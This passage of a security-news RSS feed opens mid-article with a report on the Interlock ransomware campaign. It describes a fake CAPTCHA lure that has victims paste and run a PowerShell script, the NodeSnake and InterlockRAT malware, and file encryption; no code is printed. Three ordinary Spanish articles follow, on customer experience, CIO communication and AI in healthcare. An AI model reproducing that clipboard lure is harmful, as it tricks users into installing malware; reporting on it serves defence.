<span data-contrast="auto">Victims are typically shown a CAPTCHA-style verification page that secretly copies a malicious script into the clipboard. The page then instructs users to press a sequence of keyboard commands—“Win+R” to open the Windows Run dialog, followed by “Ctrl+V” to paste the script and “Enter” to execute it.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Once executed, the PowerShell payload installs NodeSnake, a NodeJS-based malware that serves as the first stage of a larger command-and-control framework used by Hive0163.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">NodeSnake supports multiple commands, including downloading and executing payloads, running shell commands, establishing persistence, updating itself, or terminating its own process.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">In the observed attack, NodeSnake eventually deployed a more advanced JavaScript-based backdoor known as InterlockRAT, which supports WebSocket communications, reverse shell access, and SOCKS5 tunneling capabilities.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Ransomware Deployment and Encryption</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The final stage of the intrusion involved the deployment of <a href="https://thecyberexpress.com/new-powershell-campaign/" target="_blank" rel="noopener">Interlock ransomware</a>, packaged using the JunkFiction loader. Once executed, the ransomware scans logical drives and encrypts targeted files across the system.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Interlock uses a combination of AES-GCM encryption and RSA cryptography through the OpenSSL library (version 3.5.0). Each encrypted file receives a unique session key, which is then protected using an attacker-controlled RSA public key.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Encrypted files are typically renamed with extensions such as </span><span data-contrast="auto">. !NT3RLOCK</span><span data-contrast="auto"> or </span><span data-contrast="auto">.int3R1Ock</span><span data-contrast="auto">. After completing the encryption process, the ransomware drops a ransom note, often named FIRST_READ_ME.txt, containing instructions for victims to contact the attackers.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cómo la tecnología y las experiencias inteligentes están moldeando la próxima etapa del CX]]></title>
<description><![CDATA[Esta convergencia debe redefinir la forma en que se tomarán las decisiones estratégicas. Los datos sobre la experiencia, el comportamiento y el sentimiento del cliente orientan cada vez más las inversiones, las prioridades y los modelos operativos. Entendemos que ya no será posible pensar en expe...]]></description>
<link>https://tsecurity.de/de/3345972/it-security-nachrichten/cmo-la-tecnologa-y-las-experiencias-inteligentes-estn-moldeando-la-prxima-etapa-del-cx/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3345972/it-security-nachrichten/cmo-la-tecnologa-y-las-experiencias-inteligentes-estn-moldeando-la-prxima-etapa-del-cx/</guid>
<pubDate>Fri, 13 Mar 2026 10:34:46 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Esta convergencia debe redefinir la forma en que se tomarán las decisiones estratégicas. Los datos sobre la experiencia, el comportamiento y el sentimiento del cliente orientan cada vez más las inversiones, las prioridades y los modelos operativos. Entendemos que ya no será posible pensar en experiencias fragmentadas, ya que estas pasan a estar conectadas en un único ecosistema, garantizando más consistencia, fluidez y valor en cada interacción, con plataformas integradas, automatización inteligente, análisis e IA como facilitadores. Las empresas que adopten este enfoque lograrán ofrecer experiencias más relevantes, consolidando el concepto de ‘total experience’.</p>



<p>Vivimos en lo que se puede definir como la “economía de la impaciencia”. Los clientes esperan respuestas inmediatas, recorridos fluidos y soluciones en el primer contacto. El avance de la IA acelera aún más esta expectativa, ya que, a medida que las personas se acostumbran a interactuar con sistemas cada vez más rápidos e inteligentes, el estándar mínimo de experiencia se eleva.</p>



<p>Todo este escenario nos lleva a considerar algunas tendencias que darán forma a lo que está por venir en CX. La primera de ellas, la <strong>personalización</strong>, acompaña toda esta evolución, pasando a operar como un motor predictivo continuo, capaz de anticipar la intención, el contexto y la necesidad. En este sentido, las soluciones basadas en IA, con capacidad de memoria y aprendizaje continuo, permiten reconocer historiales, preferencias e interacciones anteriores, reduciendo fricciones y aumentando la consistencia a lo largo del recorrido del cliente. Según Salesforce, el 72 % de los consumidores espera que las empresas sepan quiénes son y entiendan su contexto sin que necesiten repetir información.</p>



<p>Siguiendo a la personalización, podemos destacar la <strong>hiperagilidad</strong> inteligente, con la capacidad de responder rápidamente, con precisión, contexto y coordinación entre canales, procesos y tecnologías. Las organizaciones que dominan este modelo consiguen acelerar decisiones, reducir el tiempo de respuesta y transformar la experiencia en una ventaja estratégica.</p>



<p>Vemos que la <strong>omnicanalidad</strong> también entra en una nueva fase. Ya no se trata de ofrecer canales, sino de orquestar experiencias continuas, en las que el cliente transita de forma natural entre el autoservicio, los canales digitales y la atención humana. Gartner señala que los modelos híbridos bien implementados pueden reducir los costes operativos entre un 25 % y un 35 %, al mismo tiempo que aumentan la satisfacción y la retención.</p>



<p>Cerrando la lista, no podemos dejar de destacar el uso de <strong>asistentes de IA</strong>, que ganarán aún más relevancia, actuando como copilotos de los equipos humanos, automatizando interacciones de bajo valor y ampliando el espacio para la capacidad analítica, consultiva y estratégica de los profesionales. Gartner proyecta que el futuro del servicio estará definido por fuerzas de trabajo híbridas, compuestas por agentes humanos y digitales, lo que exigirá un cambio claro en el modelo de liderazgo: de la gestión de personas al liderazgo de ecosistemas inteligentes.</p>



<p>Con esto en mente, la experiencia deja de ser fragmentada y reactiva para volverse predictiva, emocional e integrada. Y este nuevo nivel de CX no se sostiene sin una transformación organizacional consistente y la existencia de datos de alta calidad. Si los datos de entrada son malos, el resultado también lo será, sin importar cuán sofisticado sea el sistema, el algoritmo o la herramienta. Como dice Franck Greverie, CTO y Head of Global Business Lines de Capgemini: “Si tus datos no están listos para la IA, tu negocio tampoco lo está”.</p>



<p>Es en este punto donde contar con un socio de BTO (Business Transformation Outsourcing) se perfila como la estrategia más acertada para garantizar la alineación entre CX, tecnología y estrategia, además de asegurar la gobernanza, la priorización y la medición del impacto real en el negocio. Cuando el CX y el BTO van de la mano, la experiencia deja de ser solo un diferenciador competitivo; se consolida como un motor estructural de crecimiento sostenible y creación de valor a largo plazo.</p>



<p><em><strong>El autor de este artículo es <a href="https://www.linkedin.com/in/alexandremartins/" target="_blank" rel="nofollow">Alexandre Martins</a>, director Global de Inteligencia Artificial, Analítica e Innovación en Atento. Martins lleva más de 25 años orquestando transformaciones tecnológicas y culturales a nivel mundial. Es experto en fomentar la disrupción tecnológica, particularmente a través de la aplicación de la IA, para crear soluciones empresariales innovadoras y de vanguardia. Su experiencia abarca todo el espectro de las tecnologías emergentes, incluyendo la IA clásica y generativa, la analítica avanzada, la automatización, la computación en la nube y el diseño de CX. Su experiencia multifuncional abarca aspectos de TI, CX, transformación digital, estrategia, desarrollo de productos, marketing y operaciones en diversos sectores, como las telecomunicaciones, los servicios financieros, la sanidad, el comercio minorista y la tecnología. Su trayectoria profesional incluye puestos de director de informática en grandes empresas de soluciones de experiencia del cliente (CX) y puestos de liderazgo ejecutivo en importantes BPO globales</strong></em>.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cómo pueden los CIO comunicar mejor el valor real de las TI]]></title>
<description><![CDATA[Teniendo en cuenta que hoy en día ninguna organización puede funcionar sin tecnología, el valor de la TI parece obvio. El problema es que, con demasiada frecuencia, el área de TI se considera un centro de costes porque sus líderes, los CIO, siguen teniendo dificultades para articular el valor que...]]></description>
<link>https://tsecurity.de/de/3345882/it-security-nachrichten/cmo-pueden-los-cio-comunicar-mejor-el-valor-real-de-las-ti/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3345882/it-security-nachrichten/cmo-pueden-los-cio-comunicar-mejor-el-valor-real-de-las-ti/</guid>
<pubDate>Fri, 13 Mar 2026 09:49:25 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Teniendo en cuenta que hoy en día ninguna organización puede funcionar sin tecnología, el valor de la TI parece obvio. El problema es que, con demasiada frecuencia, el área de TI se considera un centro de costes porque sus líderes, los CIO, siguen teniendo dificultades para articular el valor que su área aporta al negocio. “Los directores de TI de hoy en día se ven presionados para responder a una pregunta clave: ¿cómo comunico el valor empresarial de las inversiones en tecnología a mis partes interesadas?”, escribe en una publicación reciente Chris Howard, vicepresidente de análisis de Gartner y director de investigación para empresas globales de la firma. “La eficacia con la que los CIO miden y comunican el valor empresarial de las TI influirá directamente en que la empresa vea esta área como un socio empresarial o como un centro de costes”, añade.</p>



<p>Los directores de TI deben estar a la altura del reto, afirma Bobby Cain, vicepresidente y CIO para Norteamérica en Schneider Electric. “Creo que el precio que deben pagar todos los líderes digitales es centrarse obsesivamente en comunicar el valor de las TI. Con la convergencia de los negocios y la tecnología, es nuestra responsabilidad posicionar de forma clara a la TI como un motor de beneficios”, dice.</p>



<p>Él y otros comparten sus consejos sobre cómo comunicar de forma eficaz el valor de las TI.</p>



<h2 class="wp-block-heading">No dar por sentado el impacto positivo de las TI </h2>



<p>Los CIO no deben dar por sentado que las soluciones que ofrece el área de TI no necesitan impulsores debido al valor inherente que aportan. “A menos que se pueda hablar de lo que es [ese valor], no quedará claro”, cree George Westerman, profesor titular de la MIT Sloan School of Management y fundador del Global Opportunity Forum.</p>



<p>La mayoría de la gente da por sentada la tecnología, al igual que la electricidad, por lo que a menudo solo piensan en ella cuando algo va mal. Por lo tanto, los CIO deben redirigir activamente la atención de la gente hacia los aspectos positivos. “Muchos ejecutivos solo experimentan los problemas de TI o escuchan las quejas sobre este tema”, afirma Westerman. “Si no hablas de lo que estás haciendo, sus impresiones solo serán negativas. Por eso, los mejores líderes de TI se esfuerzan por describir el rendimiento y el valor de las TI”.</p>



<p>Por supuesto, un CIO debe hacer algo más que limitarse a mantener el sistema en funcionamiento para poder compartir un buen informe de valor, señala Westerman. Suponiendo que ese sea el caso, afirma que los CIO deben hablar sobre el rendimiento y el valor de forma regular para garantizar que el área de TI se considere algo más que una utilidad.</p>



<p>“El mejor momento para iniciar esta comunicación es cuando eres nuevo en el puesto, ya que así se establecen las expectativas”, reflexiona Westerman. “Y si no eres nuevo en el puesto, puedes empezar diciendo: ‘Estamos recibiendo quejas; algunas de esas percepciones son ciertas, otras no, y este es nuestro plan para mejorar todas las cifras”.</p>



<h2 class="wp-block-heading">Hacer hincapié en el impacto empresarial por encima de las métricas de TI</h2>



<p>Los CIO veteranos llevan años oyendo que deben abandonar la jerga tecnológica y hablar el lenguaje de los negocios. Esto es especialmente importante a la hora de transmitir el valor de las TI, afirma Brian Jackson, director principal de investigación de Info-Tech Research Group.</p>



<p>Sin embargo, a muchos les cuesta hacerlo. “Los CIO suelen centrarse en métricas que están alejadas del negocio, como la latencia o el ancho de banda, por ejemplo, métricas técnicas que pertenecen más al ámbito de los sistemas que a una presentación ante la junta directiva”, agrega Jackson.</p>



<p>Los directores de TI deben esforzarse más por comprender cómo sus iniciativas técnicas crean valor empresarial y encontrar las palabras adecuadas para transmitirlo, explica: “Es el reto de comunicación que tiene cualquier persona con cierta experiencia, especialmente en el ámbito científico o técnico: ¿cómo comunicarse con alguien en términos sencillos?”.</p>



<p>Cain está de acuerdo y explica que los CIO deben pensar y hablar en términos de impacto empresarial. “En Schneider Electric, movemos más de 24 terabytes de datos por minuto. Eso es un 200.000% más que la Bolsa de Nueva York. Contamos con aproximadamente 160.000 empleados en más de 100 países que operan en más de 160 fábricas, 75 centros de distribución y cientos de oficinas regionales”, relata. “Desde el punto de vista de las TI, sin duda hay un coste significativo asociado al simple hecho de mantener las luces encendidas. Sin embargo, si los directores de informática no empiezan a contar la historia real de cómo las inversiones en tecnología pueden reducir el riesgo, impulsar la productividad y, lo que es más importante, crear valor para el cliente, la informática seguirá considerándose un centro de costes en lugar de un motor de márgenes”.</p>



<p> Añade: “Para que los CIO comuniquen de forma eficaz el valor de las TI, deben hacerlas visibles. Esta es la prueba que espera la empresa. Los resultados de las iniciativas informáticas deben traducirse al lenguaje empresarial. Ya se trate de la habilitación de ventas que impulsa el impacto en los ingresos, el aumento de la productividad y la eficiencia, la experiencia del cliente o la reducción de costes, todas las inversiones en tecnología deben ser trazables en la cuenta de resultados”.</p>



<h2 class="wp-block-heading">Utilizar KPI que sean importantes para los responsables de negocio</h2>



<p>Según una encuesta de Deloitte Tech Exec Survey de 2025, el 36% de los líderes tecnológicos identificaron “medir y articular el valor de la tecnología en términos empresariales” como una prioridad máxima.</p>



<p>Es evidente que esa cifra se traduce en un número considerable de directores de informática que tienen esta tarea en mente. Pero Lou DiLorenzo, líder de la práctica de tecnología, inteligencia artificial y estrategia de datos de Deloitte en Estados Unidos y líder nacional de sus programas Tech C-suite, afirma que comunicar el valor de la tecnología de la información en términos empresariales debería ser una tarea pendiente para todos los ejecutivos de TI. “Es realmente importante, e incluso si se te da bien, tienes que seguir centrándote en ello”, afirma.</p>



<p>Aconseja a los CIO que identifiquen métricas que les ayuden a hacerlo. No tienen por qué ser necesariamente el retorno de la inversión, que puede ser difícil de calcular para los proyectos de infraestructura, que a menudo están muy alejados de los centros de pérdidas y ganancias.</p>



<p>Aun así, DiLorenzo y otros destacan que los CIO pueden identificar métricas que sean importantes para las distintas partes interesadas y calcular cómo la TI ha aportado mejoras en esas áreas. Eso puede significar medir cómo la tecnología recién implementada ayudó a RR. HH. a agilizar la revisión de solicitudes o cómo equipar a ventas con una nueva plataforma de datos impulsó las tasas de conversión de clientes potenciales.</p>



<h2 class="wp-block-heading">Perfeccionar el discurso</h2>



<p>La información precisa es importante, pero también lo es una buena presentación. Por eso los CIO oyen hablar cada vez más del desarrollo de capacidades narrativas. “Es importante que seamos los narradores principales de la cartera de TI para poder involucrar a nuestros colegas en la creación de perspectivas compartidas”, afirma Siroui Mushegian, CIO de Barracuda, empresa dedicada a la venta de tecnología de ciberseguridad. “Explique los resultados en términos de lo que les reporta o qué puntos débiles se reducirán o resolverán. Quizás pueda utilizar métricas corporativas que se traduzcan en un ahorro sustancial de dinero o tiempo o en una reducción real de los residuos”.</p>



<p>Mushegian reconoce que esta habilidad puede no ser innata en los CIO, pero destaca algunos pasos útiles para desarrollarla. “Estructurar una cadencia en torno a su comunicación ayuda a crear memoria muscular. Puede haber motivos para organizar un consejo de TI periódico con las partes interesadas de su empresa, es decir, una reunión planificada en la que se debatan, actualicen y prioricen las iniciativas del área. Si esto resulta demasiado formal para su empresa, haga presentaciones periódicas a un grupo más reducido o a ejecutivos concretos. Perfeccione su discurso. Siéntase cómodo utilizando terminología empresarial en lugar de terminología de TI. Tome notas de lo que ha funcionado bien y de lo que hay que mejorar” recomienda.</p>



<p>DiLorenzo afirma que los CIO que se relacionan con los trabajadores de primera línea y los mandos intermedios suelen tener buenos resultados en este aspecto, ya que pueden aprender fácilmente qué problemas tienen y cómo el trabajo de TI los resuelve.</p>



<h2 class="wp-block-heading">Pasar de los costes a los beneficios</h2>



<p>Como todos los responsables funcionales, los CIO deben gestionar sus presupuestos y controlar sus gastos. Pero no deben centrarse en esas cifras cuando hablan con sus compañeros de trabajo. “Con demasiada frecuencia, los CIO siguen hablando de costes, en lugar de resultados empresariales”, afirma Mike Trkay, CIO y director de atención al cliente de FICO. “Si no quieres que te consideren un centro de costes, no lo enmarques todo en términos de costes. Las inversiones en TI deben enmarcarse como ‘creación de activos”.</p>



<p>Trkay afirma que esto puede significar simplemente mirar la misma moneda desde el otro lado. Por ejemplo, en lugar de informar de cuánto ha reducido los costes un proyecto de TI, muestra los beneficios obtenidos: “Hemos reducido el tiempo de incorporación de clientes en un 40% modernizando la infraestructura”, afirma.</p>



<p>Esto es más fácil de hacer cuando los CIO priorizan cada iniciativa de TI en función de los resultados empresariales esperados y de cómo medirán el éxito del proyecto. “Debe tener un resultado empresarial como objetivo para cualquier iniciativa de TI. Es algo que debe establecer como norma desde el principio”, dice, y añade que hacerlo le ayudará a garantizar que tendrá un valor empresarial que destacar en las presentaciones y conversaciones.</p>



<p>Mark Sherwood, vicepresidente ejecutivo y director de TI de Wolters Kluwer, comparte esta perspectiva. “Siempre es valioso mejorar los resultados finales. Pero decir ‘aquí están todos los ahorros’ es algo tan habitual que ya forma parte del vocabulario habitual de las TI”, afirma Sherwood. “Por eso es fundamental que los CIO se centren en cómo estamos contribuyendo a impulsar el crecimiento de los ingresos. Esto no significa que dejemos de impulsar la eficiencia y la optimización, pero es importante que las organizaciones de TI se presenten realmente como un centro de valor”.</p>



<p>Esto puede significar, por ejemplo, explicar a los compañeros de trabajo cómo una estrategia <em>multicloud </em>se traduce en un mayor tiempo de actividad y una mayor resiliencia, lo que favorece una mejor interacción con los clientes y, por lo tanto, mejores tasas de retención de clientes, explica. O cómo las inversiones en seguridad permiten a los equipos de ventas diferenciar los productos y servicios de la empresa de los de la competencia para cerrar más acuerdos. “Esas son historias importantes que hay que contar”, subraya Sherwood.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[IA en salud: la tecnología al servicio del bien común]]></title>
<description><![CDATA[Uno de los campos donde mayor impacto está teniendo la inteligencia artificial es en el sector salud. No es de extrañar: el potencial es mejorar la salud y la vida humana, bien directamente, a través de nuevas herramientas médicas, bien indirectamente, mediante la dotación de tecnología inteligen...]]></description>
<link>https://tsecurity.de/de/3345825/it-security-nachrichten/ia-en-salud-la-tecnologa-al-servicio-del-bien-comn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3345825/it-security-nachrichten/ia-en-salud-la-tecnologa-al-servicio-del-bien-comn/</guid>
<pubDate>Fri, 13 Mar 2026 09:21:15 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><strong>Uno de los campos donde mayor impacto está teniendo la inteligencia artificial es en el <a href="https://www.computerworld.es/article/3985743/computerworld-y-la-seis-toman-el-pulso-a-la-inversion-tic-en-el-sistema-sanitario-publico-espanol-en-2024.html">sector salud</a></strong>. No es de extrañar: el potencial es mejorar la salud y la vida humana, bien directamente, a través de nuevas herramientas médicas, bien indirectamente, mediante la dotación de tecnología inteligente a quienes se ocupan de su cuidado. De acuerdo a un <a href="https://iris.who.int/server/api/core/bitstreams/d2913ae3-c8e0-4a46-b6ff-b4b121e936f4/content" target="_blank" rel="nofollow">informe</a> de la Organización Mundial de la Salud de 2025, un 72% de países europeos estaba ya en negociaciones para aplicar IA de alguna forma en su sistema de salud. De los restantes, más de la mitad tenían planes para hacerlo en un futuro. De acuerdo al World Economic Forum, la inversión privada global en IA en medicina y atención sanitaria <a href="https://www.weforum.org/stories/2025/08/ai-transforming-global-health/" target="_blank" rel="nofollow">alcanzó</a> en 2024 los 9.330 millones de dólares, lo que da una perspectiva del atractivo de su aplicación.</p>



<p>“La IA va a tener un avance inexorable en el ámbito de la salud”, asevera Juan Carlos Oliva Pérez, director gerente de la Fundación Rioja Salud, que atribuye este recorrido a un factor clave: el tiempo, desde una doble variable: “tiempo para aprender y para atender”. Esto es, el que necesita el personal médico para dominar su profesión, pero también el que se añade a unas vidas cada vez más longevas, “sinónimo de cronicidad y pluripatología, y presión asistencial”. Retoma Oliva: “<strong>Desde mi punto de vista, [la IA] es un avance inexorable porque el tiempo es el factor limitante de cualquier profesional de medicina</strong>”. Eso sí, “en ningún caso la IA va a sustituir a los profesionales de medicina”, matiza, “porque el acto médico lleva asociada la asunción de responsabilidades. Y si eximes a los médicos de la responsabilidad, la estás trasladando hacia arriba, y nadie está dispuesto a asumir la responsabilidad de todos los actos médicos de miles de profesionales”.</p>



<p>Sobre su uso en investigación médica, Oliva remite a la tecnología de AlphaFold, reconocida con el Nobel de Química en 2024 por el uso de IA en el diseño de proteínas con computación calificándolo como “la referencia en este momento constatable de más valor que se ha producido en materia de inteligencia artificial en salud”. “En materia de investigación es fundamental”, afirma, considerando sin embargo que puede ser que se esté dando “un pico de expectativas inflacionadas”. “Al final, la inteligencia artificial no puede salirse nunca del contexto de los datos con los que ha sido entrenada”, lo que implica que “<strong>tiene una enorme capacidad para dar respuestas a partir de los datos con los que ha sido entrenada, pero no tiene capacidad para hacer preguntas pertinentes</strong>. La investigación siempre parte de hipótesis investigadoras que requieran del planteamiento de una pregunta pertinente”, resume. Esto no implica que no sea “una herramienta de enorme ayuda para la investigación, por estas capacidades para analizar ingentes volúmenes de datos y buscar correlaciones”, “siempre supeditada a que un humano la valide”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/03/JCOLIVAPEREZ_FOTO-1.jpg?quality=50&amp;strip=all" alt="Juan Carlos Oliva Pérez, director gerente de la Fundación Rioja Salud" class="wp-image-4144764" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/03/JCOLIVAPEREZ_FOTO-1.jpg?quality=50&amp;strip=all 702w, https://b2b-contenthub.com/wp-content/uploads/2026/03/JCOLIVAPEREZ_FOTO-1.jpg?resize=300%2C186&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/03/JCOLIVAPEREZ_FOTO-1.jpg?resize=270%2C168&amp;quality=50&amp;strip=all 270w, https://b2b-contenthub.com/wp-content/uploads/2026/03/JCOLIVAPEREZ_FOTO-1.jpg?resize=135%2C84&amp;quality=50&amp;strip=all 135w, https://b2b-contenthub.com/wp-content/uploads/2026/03/JCOLIVAPEREZ_FOTO-1.jpg?resize=580%2C360&amp;quality=50&amp;strip=all 580w, https://b2b-contenthub.com/wp-content/uploads/2026/03/JCOLIVAPEREZ_FOTO-1.jpg?resize=403%2C250&amp;quality=50&amp;strip=all 403w" width="702" height="436" sizes="auto, (max-width: 702px) 100vw, 702px"><figcaption class="wp-element-caption"><p><strong>Juan Carlos Oliva Pérez, director gerente de la Fundación Rioja Salud.</strong></p>
</figcaption></figure><p class="imageCredit">Fundación Rioja Salud</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“La IA en salud tiene una enorme capacidad para dar respuestas a partir de los datos con los que ha sido entrenada, pero no tiene capacidad para hacer preguntas pertinentes”, señala Juan Carlos Oliva</em></strong></p></blockquote></figure>



<p>Oliva reconoce también la necesidad de tener un control máximo de la información sobre la que trabaja esta IA. Recuerdan desde organizaciones como la Organización para la Cooperación y el Desarrollo Económicos u <a href="https://www.oecd.org/content/dam/oecd/en/publications/reports/2024/11/artificial-intelligence-and-the-health-workforce_c8e4433d/9a31d8af-en.pdf" target="_blank" rel="nofollow">OECD</a> o desde la propia Comisión Europea la necesidad de un enfoque múltiple, que garantice tanto la seguridad y gobernanza de los datos, dada su especial sensibilidad, como la ética en su tratamiento. La CE <a href="https://health.ec.europa.eu/ehealth-digital-health-and-care/artificial-intelligence-healthcare_es" target="_blank" rel="nofollow">cita</a> otros retos, como el acceso a datos de salud de alta calidad, la garantía de una financiación sostenible, una integración completa en los flujos de trabajo clínicos o, en la línea de Oliva, la creación de un marco sólido que permita a las víctimas reclamar una indemnización a los fabricantes si hay daños causados por el uso de sistemas de IA.</p>



<h2 class="wp-block-heading">Iniciativas en investigación</h2>



<p>España cuenta con varios proyectos dentro de investigación médica en los que se aplica inteligencia artificial al servicio de la salud. Es el caso de la iniciativa de<strong> gemelos digitales del cuerpo humano</strong> desarrollada en el BSC-CNS, dentro de la cual se engloban el desarrollo de gemelos relacionados con los procesos a nivel celular o de gemelos de órganos, como el que tienen del corazón. Aunque son distintos desde el punto de vista técnico, según explica Alfonso Valencia, director del departamento de Ciencias de la Vida del BSC, desde el que llevan a cabo estos proyectos. “Es otro nivel de solución distinto”: uno atiende problemas a nivel molecular, que pueden estudiar cómo reacciona un tumor a una combinación de fármacos, y con el segundo se apunta a otras casuísticas “más sistémicas”, como una arritmia.</p>



<p>Valencia explica que, aunque el término gemelo digital viene de ingeniería, en el sector salud no tiene que ver: si en el primero está todo muy medido, “<strong>cuando intentas hacer un gemelo digital de un humano, no está tan claro</strong>”, sintetiza. “Nuestro conocimiento del cuerpo humano es mucho más limitado que el de una factoría”. ¿Qué se hace entonces? “No intentamos resolverlo todo de una vez, porque es materialmente imposible y llevará años. La aproximación científica lógica es dividirlo en partes”. Esto es, coger el cuerpo humano y dividirlo en pequeñas partes que se puedan enfrentar con los instrumentos que se tiene para luego trabajar en cómo ensamblarlas. Con un importante avance: se puede individualizar para introducir los parámetros exactos de la condición de cada paciente. En los ejemplos anteriores, se trata de planear una intervención según la arritmia concreta de esa persona, a partir del modelo general del corazón, o de explorar la respuesta a un tumor concreto. Medicina personalizada de precisión. En este camino, “ahora mismo el tema fundamental es no solo desarrollar estos gemelos digitales, sino combinarlos con inteligencia artificial”.</p>



<p>Para Valencia, el objetivo a largo plazo sería que todos los datos de cada persona estuviesen accesibles, incluso los de dispositivos tipo pulsera o smartwatch. “Toda esa información se va volcando a un sistema, a la red, a un modelo que ya está preparado y que se va adaptando con esos datos”. Se trata de “tener el modelo preparado con la información suficiente, de modo que cuando pasa algo, se le de esa información y rápidamente pueda dar una respuesta adecuada”. “<strong>La discusión no es tanto si es posible o no es posible, sino qué tenemos que hacer para que sea real</strong>. Para que nos podamos beneficiar del conocimiento de la fisiología, de la genómica, de las imágenes médicas, para hacer este tipo de gemelos digitales que sean útiles para los pacientes”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Alfonso Valencia, director del departamento de Ciencias de la Vida del BSC" class="wp-image-4144765" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?quality=50&amp;strip=all 5891w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=300%2C168&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=768%2C432&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=1024%2C576&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=1536%2C864&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=2048%2C1152&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=1240%2C697&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=150%2C84&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=854%2C480&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=640%2C360&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Alfonso-Valencia-1.jpg?resize=444%2C250&amp;quality=50&amp;strip=all 444w" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Alfonso Valencia, director del departamento de Ciencias de la Vida del BSC.</strong></p>
</figcaption></figure><p class="imageCredit">BSC</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“La discusión no es tanto si es posible o no es posible, sino qué tenemos que hacer para que sea real”, apunta Alfonso Valencia</em></strong></p></blockquote></figure>



<p>Aún en fase inicial está la fábrica de IA especializada en salud que se instalará en el Centro de Supercomputación de Galicia, la segunda de estas iniciativas de la Unión Europea en suelo español tras <a href="https://www.computerworld.es/article/3623532/el-barcelona-supercomputing-center-albergara-una-de-las-primeras-siete-fabricas-de-ia-de-europa.html">la instalada, precisamente, en el BSC</a>. Como recuerda Lois Orosa, director científico del CESGA, uno de los principales objetivos de estas fábricas es “ganar soberanía tecnológica en Europa, en este caso en el ámbito de la vida”, a través del desarrollo de “<strong>modelos propios europeos de inteligencia artificial</strong>”. El proyecto se denomina <strong>1HealthAI</strong>, un nombre que es una declaración de intenciones, ya que trabaja no solo en el campo de salud humana, sino también animal y ambiental. Orosa enumera otros objetivos: el impacto en la economía gallega y española de la fábrica, la transferencia del conocimiento del entorno académico hacia el tejido productivo, la formación o la retención y atracción de talento. “Uno de nuestros objetivos es tener continuidad a lo largo de muchos años”, señala. “Para nosotros es una apuesta muy fuerte y queremos hacerlo bien para destacar”.</p>



